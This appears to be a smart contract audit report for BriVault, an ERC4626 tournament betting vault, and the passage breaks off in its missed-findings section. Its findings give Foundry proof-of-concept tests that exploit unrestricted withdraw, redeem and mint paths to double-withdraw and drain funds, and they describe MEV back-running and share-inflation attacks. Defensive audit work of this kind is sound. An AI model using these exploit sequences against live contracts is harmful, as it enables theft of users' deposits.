



# **BriVault Audit Report**

Version 1.0

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# BriVault Audit Report

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- Medium
  - \* [M-1] The `cancelParticipation` leaves ghost state, inflating `totalWinnerShares` and reduces winning payouts.
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## About

## Disclaimer

The @AlexScherbatyuk team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

## Audit Details

### Scope

```
1  |-- src
2  |    |-- briTechToken.sol
3  |    |-- briVault.sol
```

## Protocol Summary

This smart contract implements a tournament betting vault using the ERC4626 tokenized vault standard. It allows users to deposit an ERC20 asset to bet on a team, and at the end of the tournament, winners share the pool based on the value of their deposits.

**Overview** Participants can deposit tokens into the vault before the tournament begins, selecting a team to bet on. After the tournament ends and the winning team is set by the contract owner, users who bet on the correct team can withdraw their share of the total pooled assets.

The vault is fully ERC4626-compliant, enabling integrations with DeFi protocols and front-end tools that understand tokenized vaults.

## Roles

**owner** : Only the owner can set the winner after the event ends. **Users** : Users have to send in asset to the contract (deposit + participation fee). users should not be able to deposit once the event starts. Users should only join events only after they have made deposit.

## Executive Summary

### Issues found

Severity	Number of issues confirmed	Number of issues found	Number of issues missed
High	2	2	4
Medium	0	5	2
Low	0	2	4
Info	0	1	0
Gas	0	0	0
Total	2	10	10

## Findings

### High

**[H-1] Violation of the ERC4626 standard, ERC4626::mint function can be called instead of BriVault.deposit to receive shares, denial of service as users cannot participate in the tournament.**

IMPACT: Medium LIKELIHOOD: High

**Description:** The `BriVault.deposit` is overridden version of `ERC4626::deposit` function with custom logic that allow users to participate in the tournament. However the standard `ERC4626::mint` has not been overridden and can be used by users to deposit and receive shares though lacks customization that allow the tournament participation. Causing users misleading and denial of service for users who have shares but did not uses `BriVault.deposit` function.

```
1 // Root cause in the codebase with @> marks to highlight the relevant section
```

**Impact:** Denial of service for users that have deposited funds and received shares but used a standard `ERC4626::mint` function. Misleading information that ERC4626-compliant, cause users funds loss as users have to withdraw and redeposit spending gas, or by losing if they did not joined before event started.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user cannot join the tournament if the `briVault.mint` function is used to deposit.

```
1 function test_mintShares() public {
2     vm.startPrank(user1);
3     mockToken.approve(address(briVault), 5 ether);
4     briVault.mint(5 ether, user1);
5     uint256 userVaultBalance = briVault.balanceOf(user1);
6     uint256 stakedAmount = briVault.stakedAsset(user1);
7     console.log("userVaultBalance: ", userVaultBalance);
8     console.log("stakedAmount: ", stakedAmount);
9     vm.expectRevert(BriVault.noDeposit.selector);
10    briVault.joinEvent(10);
11    vm.stopPrank();
12 }
```

**Recommended Mitigation:** Override the `ERC4626::mint` to add custom logic similar to `ERC4626::deposit`.

```
1 +     function mint(uint256 shares, address receiver) public override
    returns (uint256) {
2 +         uint256 maxShares = maxMint(receiver);
3 +         if (shares > maxShares) {
4 +             revert ERC4626ExceededMaxMint(receiver, shares, maxShares)
5 +         ;
6 +     }
7 +     uint256 assets = previewMint(shares);
8 +
9 +     uint256 fee = _getParticipationFee(assets);
10 +
11 +     if (minimumAmount + fee > assets + fee) {
12 +         revert lowFeeAndAmount();
13 +     }
14 +
15 +     uint256 stakeAsset = assets;
16 +
17 +     stakedAsset[receiver] = stakeAsset;
18 +
19 +     uint256 participantShares = _convertToShares(stakeAsset);
20 +
21 +     IERC20(asset()).safeTransferFrom(msg.sender,
    participationFeeAddress, fee);
22 +
23 +     IERC20(asset()).safeTransferFrom(msg.sender, address(this),
    stakeAsset);
24 +
25 +     _mint(msg.sender, participantShares);
26 +
27 +     emit deposited(receiver, stakeAsset);
28 +
29 +     return assets + fee;
30 + }
```

**Judge ( Client / Protocol ) comments:**

[Valid] Assigned Finding Tags: Unrestricted ERC4626 functions

**[H-2] Funds drain by back-running users deposit transactions, before event starts, MEV bot can repeat users deposits and steal funds depositing same amount and withdraw the funds using the ERC4626::withdraw function and BriVault::cancelParticipation sequentially after every deposit but before event started.**

IMPACT: High LIKELIHOOD: High

**Description:** The overridden function `BriVault::cancelParticipation` allow to withdraw funds based on `custom state variable` and standard function `ERC4626::withdraw` allow

to withdraw based on users actual balance, neither of these functions validate states of each other. Attacker can combine call for this function in the sequence of first call for `ERC4626::withdraw` and then `BriVault::cancelParticipation` withdraw own funds and equal amount from `BriVault`. This opens an opportunity for MEV: backrunning attack to steal funds of users by monitoring mempool for deposit transaction and by copying the deposited amount deposit and double withdraw until the `eventStartDate` reached.

```
1 // Root cause in the codebase with @> marks to highlight the
  relevant section
2 /// @inheritdoc IERC4626
3 @> function withdraw(uint256 assets, address receiver, address owner
  ) public virtual returns (uint256) {
4     uint256 maxAssets = maxWithdraw(owner);
5     if (assets > maxAssets) {
6         revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets)
7     }
8
9     uint256 shares = previewWithdraw(assets);
10    _withdraw(_msgSender(), receiver, owner, assets, shares);
11
12    return shares;
13 }
14
15 ...
16
17 function cancelParticipation() public {
18     if (block.timestamp >= eventStartDate) {
19         revert eventStarted();
20     }
21
22     uint256 refundAmount = stakedAsset[msg.sender];
23
24 @>     stakedAsset[msg.sender] = 0;
25
26 @>     uint256 shares = balanceOf(msg.sender);
27
28     _burn(msg.sender, shares);
29
30 @>     IERC20(asset()).safeTransfer(msg.sender, refundAmount);
31 }
```

**Impact:** Creates opportunity for MEV:backrunning attack to steal users funds, causing protocol funds drain. Severely damages the core protocol logic, winners receive 0 reward and loose deposit.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user can perform double withdraw sequentially calling `ERC4626::withdraw` and then `BriVault::cancelParticipation`.



```
1      function test_duableWithdrawProtocolDrain() public {
2          vm.startPrank(owner);
3          briVault.setCountry(countries);
4          vm.stopPrank();
5
6          vm.startPrank(user3);
7          mockToken.approve(address(briVault), 5 ether);
8          uint256 user3Shares = briVault.deposit(5 ether, user3);
9          vm.stopPrank();
10
11         vm.startPrank(user2);
12         mockToken.approve(address(briVault), 5 ether);
13         uint256 user2Shares = briVault.deposit(5 ether, user2);
14         vm.stopPrank();
15
16         vm.startPrank(user1);
17         mockToken.approve(address(briVault), 5 ether);
18         uint256 user1Shares = briVault.deposit(5 ether, user1);
19         uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
20
21         console.log("user2Shares: ", user2Shares);
22         console.log("user1Shares: ", user1Shares);
23         console.log("balanceBeforuser1: ", balanceBeforuser1);
24
25         //ERC4626 withdraw function call
26         briVault.withdraw(briVault.balanceOf(user1), user1, user1);
27         uint256 balanceAfteruser1 = mockToken.balanceOf(user1);
28         console.log("userBalanceAfterWithdrawl: ", balanceAfteruser1);
29         briVault.cancelParticipation();
30         uint256 balanceAfteCancelruser1 = mockToken.balanceOf(user1);
31         console.log("balanceAfteCancelruser1: ",
32                     balanceAfteCancelruser1);
33         vm.stopPrank();
34         assertGe(balanceAfteruser1, balanceBeforuser1, "Balance after
35             grater than before");
36     }
```

**Recommended Mitigation:** Possible mitigation to override the standard function `withdraw` with simmilat to `cancelParticipation` logic or revert, preserving ERC4626 standard `withdraw` arguments.

```
1 +     function withdraw(uint256 assets, address receiver, address owner)
2 +         public override returns (uint256) {
3 +         revert limiteExceede();
4 +     }
```

**Judge ( Client / Protocol ) comments:**

[Valid] Assigned Finding Tags: Unrestricted ERC4626 functions

## Medium

### [M-1] Users who deposited and did not joined before event started cannot cancel nor participate, users funds lose.

IMPACT: Medium LIKELIHOOD: Medium

**Description:** The current flow deposit does not ensures users join the event leaving the window of an opportunity to miss the allowed period and have their funds locked. The `BriVault.joinEvent` has the `eventStartDate` check and `BriVault::cancelParticipation` has the `eventStartDate` check that prevent their use.

```
1 // Root cause in the codebase with @> marks to highlight the relevant
  section
2     function cancelParticipation() public {
3 @>     if (block.timestamp >= eventStartDate) {
4         revert eventStarted();
5     }
6
7     uint256 refundAmount = stakedAsset[msg.sender];
8
9     stakedAsset[msg.sender] = 0;
10
11    uint256 shares = balanceOf(msg.sender);
12
13    _burn(msg.sender, shares);
14
15    IERC20(asset()).safeTransfer(msg.sender, refundAmount);
16 }
```

**Impact:** Users funds locked in normal protocols flow if using documented protocols functions. Denial of service for users who missed the event start date/time.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user cannot join the tournament if the `eventStarted` nor cancel the participation.

```
1     function test_missingTheStartDateTimeCausesDOS() public {
2         vm.startPrank(owner);
3         briVault.setCountry(countries);
4         vm.stopPrank();
5
6         vm.startPrank(user1);
7         mockToken.approve(address(briVault), 5 ether);
8         uint256 user1Shares = briVault.deposit(5 ether, user1);
9         vm.warp(eventStartDate + 1);
10
11         vm.expectRevert(BriVault.eventStarted.selector);
```

```
12     briVault.joinEvent(10);
13
14     vm.expectRevert(BriVault.eventStarted.selector);
15     briVault.cancelParticipation();
16     vm.stopPrank();
17 }
```

**Recommended Mitigation:** Possible mitigation is to allow users to cancel participation if they have not joined the event.

```
1     function cancelParticipation() public {
2 +         if (block.timestamp >= eventStartDate && bytes(userToCountry[
3 -         msg.sender]).length > 0) {
4             if (block.timestamp >= eventStartDate) {
5                 revert eventStarted();
6             }
7
8             uint256 refundAmount = stakedAsset[msg.sender];
9
10            stakedAsset[msg.sender] = 0;
11
12            uint256 shares = balanceOf(msg.sender);
13
14            _burn(msg.sender, shares);
15
16            IERC20(asset()).safeTransfer(msg.sender, refundAmount);
17     }
```

**Judge ( Client / Protocol ) comments:**

[Invalid] Non-acceptable severity. This is user mistake.

[Appeal] Not quite. deposit and joinEvent are two separate functions, so these situations can occur within minutes or even seconds of each other. A deposit or joinEvent transaction could potentially be manipulated by miners (e.g., front-run) or even canceled/reverted.

The protocol could have called the deposit function internally during joinEvent execution to mitigate this scenario.

[Judge] It is the user's responsibility to join the event before it begins.

**[M-2] Double withdraw before event start, possible by calling the ERC4626::withdraw function and BriVault::cancelParticipation sequentially before event started.**

IMPACT: MEDIUM LIKELIHOOD: HIGH

**Description:** The standard ERC4626 includes function `withdraw` that allow funds withdrawal, this `public` function was not overrided thus could be called by a user to withdraw funds

before calling `BriVault::cancelParticipation`. Since these two function validate different storage variables calling them in order `ERC4626::withdraw` first and `BriVault::cancelParticipation` second allow user to withdraw deposited amount twice before event started.

```
1 // Root cause in the codebase with @> marks to highlight the
  relevant section
2 /// @inheritdoc IERC4626
3 @> function withdraw(uint256 assets, address receiver, address owner
  ) public virtual returns (uint256) {
4     uint256 maxAssets = maxWithdraw(owner);
5     if (assets > maxAssets) {
6         revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets)
7     };
8
9     uint256 shares = previewWithdraw(assets);
10    _withdraw(_msgSender(), receiver, owner, assets, shares);
11
12    return shares;
13 }
14
15 ...
16
17 function cancelParticipation() public {
18     if (block.timestamp >= eventStartDate) {
19         revert eventStarted();
20     }
21
22     uint256 refundAmount = stakedAsset[msg.sender];
23
24 @>     stakedAsset[msg.sender] = 0;
25
26 @>     uint256 shares = balanceOf(msg.sender);
27
28     _burn(msg.sender, shares);
29
30 @>     IERC20(asset()).safeTransfer(msg.sender, refundAmount);
31 }
```

**Impact:** Potential protocol funds drain, users funds theft some users may experience denial of service as would not be able to withdraw deposited funds or receive a winning prize.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user can withdraw twice sequentially calling `ERC4626::withdraw` and than `BriVault::cancelParticipation`.

```
1 function test_duableWithdrawProtocolDrain() public {
2     vm.startPrank(owner);
```

```
3      briVault.setCountry(countries);
4      vm.stopPrank();
5
6      vm.startPrank(user3);
7      mockToken.approve(address(briVault), 5 ether);
8      uint256 user3Shares = briVault.deposit(5 ether, user3);
9      vm.stopPrank();
10
11     vm.startPrank(user2);
12     mockToken.approve(address(briVault), 5 ether);
13     uint256 user2Shares = briVault.deposit(5 ether, user2);
14     vm.stopPrank();
15
16     vm.startPrank(user1);
17     mockToken.approve(address(briVault), 5 ether);
18     uint256 user1Shares = briVault.deposit(5 ether, user1);
19     uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
20
21     console.log("user2Shares: ", user2Shares);
22     console.log("user1Shares: ", user1Shares);
23     console.log("balanceBeforuser1: ", balanceBeforuser1);
24
25     //ERC4626 withdraw function call
26     briVault.withdraw(briVault.balanceOf(user1), user1, user1);
27     uint256 balanceAfteruser1 = mockToken.balanceOf(user1);
28     console.log("userBalanceAfterWithdrawl: ", balanceAfteruser1);
29     briVault.cancelParticipation();
30     uint256 balanceAfteCancelruser1 = mockToken.balanceOf(user1);
31     console.log("balanceAfteCancelruser1: ",
32               balanceAfteCancelruser1);
33     vm.stopPrank();
34     assertGe(balanceAfteruser1, balanceBeforuser1, "Balance after
35               grater than before");
36 }
```

**Recommended Mitigation:** Possible mitigation to override the standard function `withdraw` with simmilat to `cancelParticipation` logic or revert, preserving ERC4626 standard `withdraw` arguments.

```
1 +     function withdraw(uint256 assets, address receiver, address owner)
2 +         public override returns (uint256) {
3 +         revert limiteExceede();
4 +     }
```

**Judge ( Client / Protocol ) comments:**

[Valid] Assigned Finding Tags: Unrestricted ERC4626 functions. Severity -> High

**[M-3] The ERC4626::redeem function allows to withdraw funds at anytime, frontrun is possible to withdraw before winner set by owner if choosen country/team is not winner.**

IMPACT: MEDIUM LIKLYHOOD: MEDIUM

**Description:** The standard ERC4626::redeem function is not overrided, thus does not include spefic protocols checks allowing to redeem funds at anytime, including after the winner is set. This creates an opportunity to withdraw funds after the winner is set, by not winning team voter.

**Impact:** Compromises protocols logic and core functionality, reduces the winning pool amount.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user can redeem funds calling ERC4626::redeem after ERC4626::setWinner.

```
1      function test_redeemAfterSetWinner() public {
2          vm.startPrank(owner);
3          briVault.setCountry(countries);
4          vm.stopPrank();
5
6          vm.startPrank(user1);
7          mockToken.approve(address(briVault), 5 ether);
8          uint256 user1Shares = briVault.deposit(5 ether, user1);
9          uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
10
11         console.log("user1Shares: ", user1Shares);
12         console.log("balanceBeforuser1: ", balanceBeforuser1);
13         vm.stopPrank();
14
15         vm.startPrank(owner);
16         vm.warp(eventEndDate + 1);
17         briVault.setWinner(10);
18         vm.stopPrank();
19
20         vm.startPrank(user1);
21         mockToken.approve(address(briVault), 5 ether);
22         ERC4626(briVault).redeem(user1Shares, user1, user1);
23         uint256 balanceAfteruser1 = mockToken.balanceOf(user1);
24         console.log("userBalanceAfterRedeem: ", balanceAfteruser1);
25         vm.stopPrank();
26
27         assertGe(balanceAfteruser1, balanceBeforuser1, "Redeem is
28             successful balance has increased");
29     }
```

**Recommended Mitigation:** Possible mitigation to override the standard function ERC4626::redeem with simmilat to `cancelParticipation` logic or revert, preserving ERC4626 standard redeem arguments.

```
1      ...
2 +    error RedeemNotAllowed();
3      ...
4 +    function redeem(uint256 shares, address receiver, address owner)
      public override returns (uint256) {
5 +        revert RedeemNotAllowed();
6 +    }
```

**Judge ( Client / Protocol ) comments:**

[Valid] Assigned Finding Tags: Unrestricted ERC4626 functions. Severity -> High

**[M-4] The ERC4626::withdraw function can be to withdraw funds at anytime, potential MEV:backrun.**

IMPACT: MEDIUM LIKLYHOOD: MEDIUM

**Description:** The `ERC4626::withdraw` has not been overided leaving the functionality accesable to any user, allowing user to withdraw funds after `setWinner` if user's team is not a winner.

```
1      // Root cause in the codebase with @> marks to highlight the
      relevant section
2 @>    function withdraw(uint256 assets, address receiver, address owner
      ) public virtual returns (uint256) {
3        uint256 maxAssets = maxWithdraw(owner);
4        if (assets > maxAssets) {
5            revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets)
6        };
7
8        uint256 shares = previewWithdraw(assets);
9        _withdraw(_msgSender(), receiver, owner, assets, shares);
10
11        return shares;
12    }
```

**Impact:** Normal flow of the protocol does not allow users to withdraw funds after event started or after winner is announced if users team is not a winner. However, since `ERC4626::withdraw` was not overridden it does not have custom logic checks preventing withdrawl, allowing a user to withdraw funds if not satisfied with the result.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user can withdraw funds calling `ERC4626::withdraw` after `ERC4626::setWinner`.

```
1      function test_withdrawAfterSetWinner() public {
```

```
2      vm.startPrank(owner);
3      briVault.setCountry(countries);
4      vm.stopPrank();
5
6      vm.startPrank(user1);
7      mockToken.approve(address(briVault), 5 ether);
8      uint256 user1Shares = briVault.deposit(5 ether, user1);
9      uint256 balanceBeforeuser1 = mockToken.balanceOf(user1);
10
11     console.log("user1Shares: ", user1Shares);
12     console.log("balanceBeforeuser1: ", balanceBeforeuser1);
13     vm.stopPrank();
14
15     vm.startPrank(owner);
16     vm.warp(eventEndDate + 1);
17     briVault.setWinner(10);
18     vm.stopPrank();
19
20     vm.startPrank(user1);
21     briVault.withdraw(briVault.balanceOf(user1), user1, user1);
22     uint256 balanceAfteruser1 = mockToken.balanceOf(user1);
23     console.log("userBalanceAfterWithdrawl: ", balanceAfteruser1);
24     vm.stopPrank();
25
26     assertGe(balanceAfteruser1, balanceBeforeuser1, "Withdraw is
        successful, balance has increased");
27 }
```

**Recommended Mitigation:** Possible mitigation to override the standard function `ERC4626: withdraw` with simmilat to `cancelParticipation` logic or revert, preserving `ERC4626` standard `withdraw` arguments.

```
1 +   function withdraw(uint256 assets, address receiver, address owner)
2 +   public override returns (uint256) {
3 +       if (block.timestamp >= eventStartDate) {
4 +           revert eventStarted();
5 +       }
6 +
7 +       uint256 refundAmount = stakedAsset[msg.sender];
8 +
9 +       if (assets > refundAmount) {
10 +           revert limiteExceede();
11 +       }
12 +
13 +       uint256 amountToWithdraw = refundAmount - assets;
14 +
15 +       stakedAsset[msg.sender] = refundAmount - assets;
16 +
17 +       uint256 shares = _convertToShares(stakeAsset);
```



```
18 +         _burn(msg.sender, shares);
19 +
20 +         IERC20(asset()).safeTransfer(msg.sender, amountToWithdraw);
21 +
22 +         return amountToWithdraw;
23 +     }
```

**Judge ( Client / Protocol ) comments:**

[Valid] Assigned Finding Tags: Unrestricted ERC4626 functions. Severity -> High

**[M-5] BriVault::joinEvent can be called more than once by the same user, potentially causing denial of service.**

IMPACT: HIGH LIKLYHOOD: MEDIUM

**Description:** According to protocol flow `protocolFlow.txt` users should only join once. However, `BriVault::joinEvent` does not checks a user has already joined. This opens an opportunity to cause denial of service by intentionally calling this function multiple times or due to an external code issues that can perform such call repeatedly. As a result `totalParticipantShares += participantShares` amount of shares would be calculated incorrectly and causing incorrect asset distribution to winners in `BriVault::withdraw` reducing winning amount.

```
1      // Root cause in the codebase with @> marks to highlight the
2      // relevant section
3      @> function joinEvent(uint256 countryId) public {
4          if (stakedAsset[msg.sender] == 0) {
5              revert noDeposit();
6          }
7
8          if (countryId >= teams.length) {
9              revert invalidCountry();
10         }
11
12         if (block.timestamp > eventStartDate) {
13             revert eventStarted();
14         }
15
16         userToCountry[msg.sender] = teams[countryId];
17
18         uint256 participantShares = balanceOf(msg.sender);
19         userSharesToCountry[msg.sender][countryId] = participantShares;
20
21         usersAddress.push(msg.sender);
22
23         numberOfParticipants++;
24         totalParticipantShares += participantShares;
```

```
25         emit joinedEvent(msg.sender, countryId);
26     }
```

**Impact:** Denial of service due to incorrect winning pool calculation, user could loose potential profit and deposited funds.

**Proof of Concept:**

Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that user can join multiple times by calling `ERC4626::joinEvent` distruping winning pool calculation.

```
1  function test_userCanJoinMoreThanOnceCausesDOS() public {
2      vm.startPrank(owner);
3      briVault.setCountry(countries);
4      vm.stopPrank();
5
6      vm.startPrank(user1);
7      mockToken.approve(address(briVault), 5 ether);
8      uint256 user1Shares = briVault.deposit(5 ether, user1);
9
10     for (uint256 i = 0; i < 3; i++) {
11         briVault.joinEvent(10);
12     }
13     ERC4626(briVault).withdraw(ERC4626(briVault).balanceOf(user1),
14         user1, user1);
15
16     uint256 numberOfParticipants = briVault.numberOfParticipants();
17     uint256 totalParticipantShares = briVault.
18         totalParticipantShares();
19     vm.stopPrank();
20
21     vm.startPrank(owner);
22     vm.warp(eventEndDate + 1);
23     briVault.setWinner(10);
24     vm.stopPrank();
25
26     uint256 balanceBeforeUser1 = mockToken.balanceOf(user1);
27     uint256 totalAssets = briVault.totalAssets();
28     console.log("balanceBeforeUser1", balanceBeforeUser1);
29     vm.prank(user1);
30     briVault.withdraw();
31
32     uint256 totalAssetAfterWithdrawl = briVault.totalAssets();
33     console.log("total assets left in the vault: ",
34         totalAssetAfterWithdrawl);
35     uint256 curentBalance = mockToken.balanceOf(user1);
36     uint256 expectedBalance = balanceBeforeUser1 + totalAssets;
37     assertEq(curentBalance, expectedBalance, "Must be equal");
38     assertEq(totalAssetAfterWithdrawl, 0, "All funds withdrawn as
```

```
36         there is only one participant");
    }
```

**Recommended Mitigation:** Potential mitigation is to add a user already joined check and custom error that would prevent `totalParticipantShares` state variable change.

```
1    ...
2 +   error alreadyJoined();
3    ...
4    function joinEvent(uint256 countryId) public {
5 +       if (bytes(userToCountry[msg.sender]).length > 0) {
6 +           revert alreadyJoined();
7 +       }
8
9       if (stakedAsset[msg.sender] == 0) {
10           revert noDeposit();
11       }
12
13       if (countryId >= teams.length) {
14           revert invalidCountry();
15       }
16
17       if (block.timestamp > eventStartDate) {
18           revert eventStarted();
19       }
20
21       userToCountry[msg.sender] = teams[countryId];
22
23       uint256 participantShares = balanceOf(msg.sender);
24       userSharesToCountry[msg.sender][countryId] = participantShares;
25
26       usersAddress.push(msg.sender);
27
28       numberOfParticipants++;
29       totalParticipantShares += participantShares;
30
31       emit joinedEvent(msg.sender, countryId);
32   }
```

**Judge ( Client / Protocol ) comments:**

[Valid] Assigned Finding Tags: Duplicate registration through `joinEvent`. Severity -> High

## Low

### [L-1] `BriVault.deposit` and `BriVault.previewDeposit` return different values, must return equal values

**Description:** According to [ERC4626](#) both function `BriVault.deposit` and `BriVault.previewDeposit` must return same amount and must be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees. However, current situation is that `BriVault.previewDeposit` has not been overridden thus does not include protocol fee in shares calculation.

**Impact:** Misleading users and integrated protocols, as they might standard `BriVault.previewDeposit` function to calculate shares and receive different amount after funding.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

This test verifies that users get different results by calling `BriVault.deposit` and `BriVault.previewDeposit`.

```
1     function test_previewDepositMustReturnSameValueAsDepost() public {
2         vm.startPrank(user1);
3         uint256 AMOUNT = 5 ether;
4         mockToken.approve(address(briVault), AMOUNT);
5         uint256 depositShares = briVault.deposit(AMOUNT, user1);
6         uint256 previewDepositShares = briVault.previewDeposit(AMOUNT);
7         vm.stopPrank();
8         assertEq(depositShares, previewDepositShares);
9     }
```

**Recommended Mitigation:** Potential mitigation is override the `BriVault.previewDeposit` and add protocol fee calculation.

```
1 +     function previewDeposit(uint256 assets) public view override
2 +     returns (uint256) {
3 +         uint256 fee = _getParticipationFee(assets);
4 +
5 +         if (minimumAmount + fee > assets) {
6 +             revert lowFeeAndAmount();
7 +         }
8 +
9 +         uint256 stakeAsset = assets - fee;
10 +
11 +         return _convertToShares(stakeAsset, Math.Rounding.Floor);
12 +     }
```

**Judge ( Client / Protocol ) comments:**

Was not submitted

## [L-2] BriVault.deposit should emit standard event Deposit, emits different one

**Description:** Standard ERC4626 requires BriVault.deposit function to emit standard event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares). However, current implementation uses custom event emit deposited(receiver, stakeAsset) which violates the ERC4626 standard and can cause front-end UI/UX issues and integrating issues with other protocols.

**Impact:** Misleading, users and protocols might not be able to read expected notifications, resulting in bad user experience.

### Proof of Concept:

```
1     event deposited(address indexed _depositor, uint256 _value);
2
3     function test_depositEmitsCustomEvent() public {
4         vm.startPrank(user1);
5         mockToken.approve(address(briVault), 5 ether);
6         vm.expectEmit(true, true, false, false);
7         emit deposited(user1, 5 ether);
8         briVault.deposit(5 ether, user1);
9         vm.stopPrank();
10    }
```

**Recommended Mitigation:** Use standard event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares).

```
1 -   emit deposited(receiver, stakeAsset);
2 +   emit Deposit(address indexed sender, address indexed owner, uint256
    assets, uint256 shares)
```

### Judge ( Client / Protocol ) comments:

[Invalid] Non-acceptable severity. This is Informational. The issue is that the event emits incorrect arguments.

[Appeal] Not quite. The core problem is lack of ERC-4626 compliance: the overridden deposit function does not emit the required Deposit event and does not call super.deposit()

[Judge] This is Informational. The issue is that the event emits incorrect arguments.

## Informational

### [I-1] BriVault.withdraw should emit standard event Withdraw, emits different one

**Description:** Standard [ERC4626](#) requires `BriVault.withdraw` function to emit standard event `Withdraw(address indexed sender, address indexed receiver, address indexed owner, uint256 assets, uint256 shares)`. However, current implementation uses custom event `emit Withdraw(msg.sender, assetToWithdraw)` which violates the [ERC4626](#) standard and can cause front-end UI/UX issues and integrating issues with other protocols.

**Impact:** Misleading, users and protocols might not be able to read expected notifications, resulting and in bad user experience.

**Proof of Concept:**

**Recommended Mitigation:** Use standard event `Withdraw(address indexed sender, address indexed receiver, address indexed owner, uint256 assets, uint256 shares)`.

```
1 - emit Withdraw(msg.sender, assetToWithdraw);
2 + emit Withdraw(caller, receiver, owner, stakeAsset, shares);
```

**Judge ( Client / Protocol ) comments:**

Was not submitted

## Missed Findings

### High

#### [H-1] Multiple times deposits overwrites stake, users funds loss.

**Description:** Users are allowed to deposit multiple times; however, the protocol, in addition to the ERC20 standard balance, uses a custom mapping called `stakedAsset` to track each user's stake in order to calculate cancellation withdrawals. This mapping is overwritten on every deposit call instead of accumulating the total, which leads to a loss of user funds. As a result, users can only withdraw the amount of their most recent deposit.

**Impact:** Users suffer a loss of funds because they can only withdraw the amount of their last deposit. The protocol effectively accumulates user funds by misleading them and causes a denial of

service for users who deposited multiple times, as they are unable to recover their full stake by calling `cancelParticipation`.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

```
1     function test_multipleDepositsOverwriteStake() public {
2         uint256 expectedBalance;
3         vm.startPrank(user1);
4         mockToken.approve(address(briVault), 10 ether);
5         briVault.deposit(5 ether, user1);
6         expectedBalance = briVault.stakedAsset(user1);
7         briVault.deposit(5 ether, user1);
8         expectedBalance += briVault.stakedAsset(user1);
9         uint256 beforeCancelBalance = mockToken.balanceOf(user1);
10        briVault.cancelParticipation();
11        uint256 afterCancelBalance = mockToken.balanceOf(user1);
12        vm.stopPrank();
13        assertEq(
14            afterCancelBalance,
15            beforeCancelBalance + expectedBalance,
16            "Balance after cancelation is not equal to expected balance
17        );
18    }
```

**Recommended Mitigation:** Accumulate the total stake amount instead of overwriting it.

```
1 -     stakedAsset[receiver] = stakeAsset;
2 +     stakedAsset[receiver] += stakeAsset;
```

**( Judge / Protocol ) comments:** [Valid] Assigned Finding Tags: `stakedAsset` Overwritten on Multiple Deposits Vault tracks only a single deposit slot per user and overwrites it on every call instead of accumulating the total.

**[H-2] Shares Minted to msg.sender instead of specified receiver, funds loss for receiver if not equal to msg.sender.**

**Description:** Users are allowed to deposit funds for themselves or for another address; however, the protocol mints shares to the `msg.sender` instead of the specified receiver. This leads to a loss of funds for the receiver, as they are not able to withdraw their funds by calling `withdraw` or `cancelParticipation`.

```
1 function mint(uint256 shares, address receiver) public override returns
   (uint256) {
2     .
3     .
4     .
```

```
5  @>    _mint(msg.sender, participantShares); // Shares to msg.sender
6  }
7  .
8  .
9  .
10 function deposit(uint256 assets, address receiver) public override
    returns (uint256) {
11     .
12     .
13     .
14 @>    _mint(msg.sender, participantShares); // Shares to msg.sender
15 }
```

**Impact:** Users suffer a loss of funds because they are not able to withdraw their funds by calling `withdraw` or `cancelParticipation`. Stucked funds, denail of service for users who deposited funds for another address.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

```
1  function test_depositToReceiverNotEqualToMsgSender() public {
2      vm.startPrank(user1);
3      mockToken.approve(address(briVault), 10 ether);
4      briVault.deposit(5 ether, user2);
5
6      uint256 user2Balance = briVault.balanceOf(user2);
7      uint256 user1Balance = briVault.balanceOf(user1);
8
9      console.log("user2Balance: ", user2Balance);
10     console.log("user1Balance: ", user1Balance);
11
12     briVault.cancelParticipation();
13
14     uint256 user2BalanceAfterCancelation = briVault.balanceOf(user2
15     );
16     uint256 user1BalanceAfterCancelation = briVault.balanceOf(user1
17     );
18
19     console.log("user2Balance after cancelation: ",
20     user2BalanceAfterCancelation);
21     console.log("user1Balance after cancelation: ",
22     user1BalanceAfterCancelation);
23
24     assertEq(user2BalanceAfterCancelation, 0, "User2 balance after
25     cancelation should be 0");
26     assertEq(user1BalanceAfterCancelation, 0, "User2 balance after
27     cancelation should be 0");
28 }
```

**Recommended Mitigation:** Replace `msg.sender` with `receiver` in the `_mint` function calls from `BriVault.deposit` and `BriVault.mint`.



```
1 function mint(uint256 shares, address receiver) public override returns
    (uint256) {
2     .
3     .
4     .
5     @> _mint(receiver, participantShares); // Shares to msg.sender
6 }
7 .
8 .
9 .
10 function deposit(uint256 assets, address receiver) public override
    returns (uint256) {
11     .
12     .
13     .
14     @> _mint(receiver, participantShares); // Shares to msg.sender
15 }
```

### [H-3] Inflation attack possible, users funds loss.

**Description:** As winning pool is calculated based on shares an attacker can inflate the protocol to secure large part of shares, win the tournament by covering all possible teams with small deposits and after winner announcement transfer all shares to himself as winner and withdraw all funds.

```
1 function withdraw() external winnerSet {
2     ...
3     .
4     .
5     .
6     @> uint256 shares = balanceOf(msg.sender);
7         uint256 vaultAsset = finalizedVaultAsset;
8     @> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset,
        totalWinnerShares);
9         _burn(msg.sender, shares);
